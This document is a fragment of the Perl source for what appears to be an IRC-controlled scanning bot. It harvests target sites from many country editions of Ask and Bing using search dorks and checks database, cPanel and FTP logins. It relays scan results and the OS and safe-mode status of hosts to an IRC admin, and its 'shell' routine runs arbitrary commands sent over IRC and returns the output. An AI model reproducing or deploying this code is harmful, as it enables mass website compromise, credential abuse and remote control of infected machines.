        while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /askSE\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub askDK() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=100; $i+=1) {
        my $search = ("http://dk.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /askDK\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub askNO() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=100; $i+=1) {
        my $search = ("http://no.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /askNO\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(4);
sub askAU() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=100; $i+=1) {
        my $search = ("http://au.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /askAU\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub askBR() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=100; $i+=1) {
        my $search = ("http://br.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /askBR\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub askMX() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=100; $i+=1) {
        my $search = ("http://mx.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /askMX\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(4);
sub askJP() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=100; $i+=1) {
        my $search = ("http://jp.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
        my $res = &search_engine_query($search);
        while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
            my $link = $1;
            if ($link !~ /askJP\.com/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}


sub clusty() {
    my @list;
	my $key = $_[0];
    my $b   = 0;
	for ($b=10; $b<=200; $b+=10) {
        my $search = ("http://search.yippy.com/search?input-form=clusty-simple&v%3Asources=webplus-ns-aaf&v%3Aproject=clusty&query=".uri_escape($key)."&v:state=root|root-".$b."-20|0&");
        my $res = &search_engine_query($search);
		if ($res !~ /next/) {$b=100;}
        while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
            my $link = $1;
            if ($1 !~ /yippy\.com/){
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingDE() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=de&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingDE/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(4);
sub bingUK() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=uk&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingUK/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingCA() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ca&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingCA/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingBR() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=br&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingBR/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingFR() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=fr&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingFR/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingES() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=es&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingES/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingIT() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=it&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingIT/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(4);
sub bingBE() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=be&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingBE/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingNL() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=nl&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingNL/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingPT() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=pt&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingPT/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingNO() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=no&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingNO/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingDK() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=dk&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingDK/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingSE() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=se&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingSE/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(4);
sub bingCH() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ch&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingCH/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingNZ() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=nz&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingNZ/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingRU() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ru&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingRU/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingJP() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=jp&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingJP/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingCN() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=cn&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingCN/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingKR() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=kr&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingKR/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(4);
sub bingMX() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=mx&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingMX/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingAR() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ar&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingAR/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingCL() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=cl&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingCL/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub bingAU() {
    my @list;
    my $key = $_[0];
    for (my $i=1; $i<=1000; $i+=10) {
        my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=au&rf=1&first=".$i."&FORM=PORE");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
            my $link = $1;
            if ($link !~ /msn|live|bingAU/) {
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
#########################################
################################################### HELPER ###################################################
sub newDork{
    my $dork = 0;
    if(-e "dork.txt") {
        my $engine = shift;
        if(lc($engine) !~ /$oth/) {
            my $data = &cekKey($engine."-0");
            my @datas = split('-',$data);
            my @key = &getTxtToArray("dork");
            if($key[$datas[1]]) {
                $dork =  $key[$datas[1]];
                &saveFile("data.txt",$data."\n");   
            }
        }
    }
    return $dork;
}
sub setDork {
    my $dork = shift;
    if($dork =~ /\,/) {
        if(-e "dork.txt") { unlink("dork.txt");}
        if(-e "data.txt") { unlink("data.txt");}
        my @dorks = split(",",$dork);
        $dork = shift(@dorks);  
        
        &setArrayToTxt("dork",@dorks);
    } 
    return uri_escape($dork);
}

sub cekKey {
    my $data = shift;
    my $ch = &dataExists("data.txt",$data);
    
    if($ch) {
        my @datas = split("-",$data);
        $data = &cekKey($datas[0]."-".int($datas[1] + 1));
    }
    return $data;
}

sub dataExists {
	my ($file,$data) = @_;
    my $return = 0;
	open (file,"<$file");
	while (my $datas =<file>) {
		 $datas =~ s/\s+//g;
         if($datas ne "") {
            if($datas eq "$data") {
                $return = 1;
            }
         }
	}
	close file;
	return $return;
}

sub setArrayToTxt {
    my ($file, @data,$uri_escape) = @_;
    $file = $file.".txt";
    foreach my $data(@data) {
        if($data !~ /^[0-9]+$/) {
            $data = uri_escape($data);
            &saveFile($file,$data);
        }
    }
}

sub getTxtToArray {
    my @list;
    my $file = shift;
    $file = $file.".txt";
    
    if(-e $file) { 
        if(open(my $fh, $file)){  
            while(my $line = <$fh>)  {
                $line =~ s/\s+//g;
                push(@list, $line); 
            } 
        } 
    }
    return @list;
}

sub engineQuery {
	my $url = $_[0];
	$url =~ s/http:\/\///;
	my $host = $url;
	my $query = $url;
	my $page  = "";
	$host =~ s/href=\"?http:\/\///;
	$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
	$query =~ s/$host//;
	if ($query eq "") { $query = "/"; }
		eval {
			my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
			my $sget = "GET $query HTTP/1.0\r\n";
			$sget .= "Host: $host\r\n";
			$sget .= "Accept: */*\r\n";
			$sget .= "User-Agent: $uagent\r\n";
			$sget .= "Connetion: Close\r\n\r\n";
			print $sock $sget;
			my @pages = <$sock>;
			$page = "@pages";
			close($sock);
		};
	return $page;
}

sub saveFile {
    my ($file, $data) = @_;
    my $out = 0;
    
    if(open (FH,">> $file")) {
        chomp($data);
        print FH $data."\n";
        close FH;
        $out = 1;
    }
    return $out;
}

sub createList {
    $data  = $_[0];
    $file  = $_[1];
    open(my $fh, '>>', $file);
    chomp($data);
    print $fh $data."\n";
    close $fh;
}

#check limit scan
sub checkLimit {
    my ($nick) = shift;
    my $out = 0;

    if(!$privscan and !&isAdmin($nick)) {
        if($limitScan > 0){
            if($cLimit <= $limitScan) {
                $out = 1;
            }
        } else {
            $out = 1;
        }
    } else {
        if(&isAdmin($nick)) { $out = 1; }
    }
    return $out;
}

#check prite mode scan
sub checkPrivacy {
    my $nick = shift;
    my $out = 0;

    if($privscan and !&isAdmin($nick)) {
        $out = 1;
    }
    return $out;
}
################################################### END HELPER ###################################################
sub clean {
    my @cln = ();
    my %visit = ();
    foreach my $element (@_) {
        $element =~ s/\/+/\//g;
        next if $visit{$element}++;
        push @cln, $element;
    }
    return @cln;
}

sub cleanUrl {
    my $url = shift;
    
    if ($url =~ /http/ || $url =~ /ftp/) { $url =~ s/(https?:\/?\/?|ftps?:\/?\/?)//;}
    if(substr($url, 0, 3) eq "www") { $url =~ s/www2?\.//; }
    if ($url =~ /forum\./) { $url =~ s/forum\.//;}  
    if($url =~ /\//) { $url =~ /(.+?)\//; $url = $1;}
    
    if(substr($url, -1) eq "/") {
        $url =  substr($url,0, -1);
    }
    return $url;
}

sub getDb {
	my ($platform,$host,$db,$user,$pass) = @_;
    my $out = 0;
    
    my $dsn = "dbi:$platform:$db:$host:3306";
	my $connect=  DBI->connect($dsn,$user,$pass);
    if ($connect) {
        $out = 1;
    } 
    return $out;
}

sub getCpanel {
	my ($site, $user, $pass) = @_;
    my $out = 0;
    my $url = "http://".$site.":2082";
    
    my $ua = LWP::UserAgent->new;
    $ua->timeout($timeout);
    my $req = HTTP::Request->new(GET => $url);
    $req->authorization_basic($user, $pass);
    my $res = $ua->request($req);

    if($res->is_success){
        $out = 1;
    }
    
    return $out;
}
sub ftpConnect {
    use Net::FTP;
    my ($host,$user,$pass) = @_;
    my $out = 0;
    my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 2);
    if($ftp->login($user,$pass)) {
        $out = 1;
    }
    $ftp->quit;
    return $out;
}
sub saveTarget {
    my($file,$url,$os,$safe) = @_;
    &createList("$url\n(OS:$os) (SAFE:$safe)\n-----------------------------------------------------------------------------------------", $file);
    return true;
}

sub sendMsg {
    my($tipe, $id,$logo,$asus1logo,$engine,$chan, $nick,$msg,$os,$safe) = @_;
    
    my $adm = $data{"admin"};
    my $dbg = $data{"debug"};
    
    &msg($adm, $art{"front"}."10ID:$id ".$art{"circ1"}."$nick".$art{"circ2"}.$art{"div"}."10".uc($engine).$art{"div"}."$asus1logo".$art{"div"}."$logo".$art{"div"}.$msg.$art{"back"});
    
    if($pub) {
        &msg($dbg, $art{"front"}."10ID:$id ".$art{"circ1"}."$nick".$art{"circ2"}.$art{"div"}."10".uc($engine).$art{"div"}."$asus1logo".$art{"div"}."$logo".$art{"div"}.$msg.$art{"back"});
    }
    if(!&isAdmin($nick)) {
        &msg("$nick", $art{"front"}."10".uc($engine).$art{"div"}."$asus1logo".$art{"div"}."$logo".$art{"div"}.$msg.$art{"back"}); 
    }
    
    if($tipe == 1) {
        &msg("$chan",$art{"front"}."$logo 0Send to 10ID:$id".$art{"back"});
    } elsif($tipe == 2) {
#        &msg("$chan", $art{"front"}."10ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."14Executing payload...".$art{"back"});
        &msg("$chan",$art{"front"}."10ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."$logo".$art{"div"}.$art{"circ1"}."OS:14$os".$art{"circ2"}." ".$art{"circ1"}."SAFEMODE:$safe".$art{"circ2"}.$art{"back"});
    }
}

sub links {
    my @list;
    my $host = $_[0];
    my $hdir = $_[0];
    $hdir =~ s/(.*)\/[^\/]*$/\1/;
    $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $host .= "/";
    $hdir .= "/";
    $host =~ s/\/\//\//g;
    $hdir =~ s/\/\//\//g;
    push(@list,$host,$hdir);
    return @list;
}

sub showVersion {
    my $path = shift;
    &msg("$path","coi"); 
    
}

sub _get {
    my $url = $_[0];
    my $ua = LWP::UserAgent->new(agent => $uagent);
    $ua->timeout(10);
    my $req = HTTP::Request->new(GET => $url);
    my $res = $ua->request($req);
    return $res;
}

sub get_content {
    my $url = $_[0];
    my $ua = LWP::UserAgent->new(agent => $uagent);
    $ua->timeout(10);
    my $req = HTTP::Request->new(GET => $url);
    my $res = $ua->request($req);
    return $res->content;
}

sub isAdmin {
    my $status = 0;
    my $nick = $_[0];
    if ($nick eq $data{"admin"} || $nick eq "ScanneD") { $status = 1; }
    return $status;
}

sub shell {
    my $path = $_[0];
    my $cmd = $_[1];
    
    if ($cmd =~ /cd (.*)/) {
        chdir("$1") || &msg("$path","No such file or directory");
        return;
    } elsif ($pid = fork) { waitpid($pid, 0); }
    else { if (fork) { exit; } else {
        my @output = `$cmd 2>&1 3>&1`;
        my $c = 0;
        foreach my $output (@output) {
            $c++;
            chop $output;
            &msg("$path","$output");
            if ($c == 5) { $c = 0; sleep 3; }
        }
        exit;
    }}
}

sub search_engine_query() {
    my $url = $_[0];
    $url =~ s/http:\/\///;
    my $host = $url;
    my $query = $url;
    my $page  = "";
    $host =~ s/href=\"?http:\/\///;
    $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $query =~ s/$host//;
    if ($query eq "") { $query = "/"; }
        eval {
            my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
            print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: $uagent\r\n\r\n";
            my @pages = <$sock>;
            $page = "@pages";
            close($sock);
        };
    return $page;
}

sub msg {
    return unless $#_ == 1;
    sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
}

sub nick {
    return unless $#_ == 0;
    sendraw("NICK $_[0]");
}

sub notice{
    return unless $#_ == 1;
    sendraw("NOTICE $_[0] :$_[1]");
}

